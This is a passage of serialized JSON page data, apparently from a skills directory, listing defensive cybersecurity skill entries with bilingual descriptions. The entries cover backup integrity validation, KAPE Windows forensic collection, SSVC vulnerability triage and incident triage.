attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":169,"name":170,"nameZh":171,"description":172,"descriptionZh":173,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":174,"categories":175,"keywords":182,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[176,179],{"categoryNo":177,"categoryName":178,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":180,"categoryName":181,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[162,183,184,185,186,33,187,188,156,189,190,191,192,193,194,195,196,197,198,199],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":201,"name":202,"nameZh":203,"description":204,"descriptionZh":205,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":206,"categories":207,"keywords":212,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[208,209],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":210,"categoryName":211,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[34,213,214,33,215,35,216,217,218,219,220,221,222,223,224,225,159,226,227,228],"kape","triaging windows with kape","registry","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":230,"name":231,"nameZh":232,"description":233,"descriptionZh":234,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":235,"categories":236,"keywords":241,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[237,240],{"categoryNo":238,"categoryName":239,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[242,243,244,33,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":262,"name":263,"nameZh":264,"description":265,"descriptionZh":266,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":267,"categories":268,"keywords":273,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[269,270],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":271,"categoryName":272,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[124,274,33,275,276,277,278,279,280,281,282,195,283,196,284,285,286,287,288,289],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]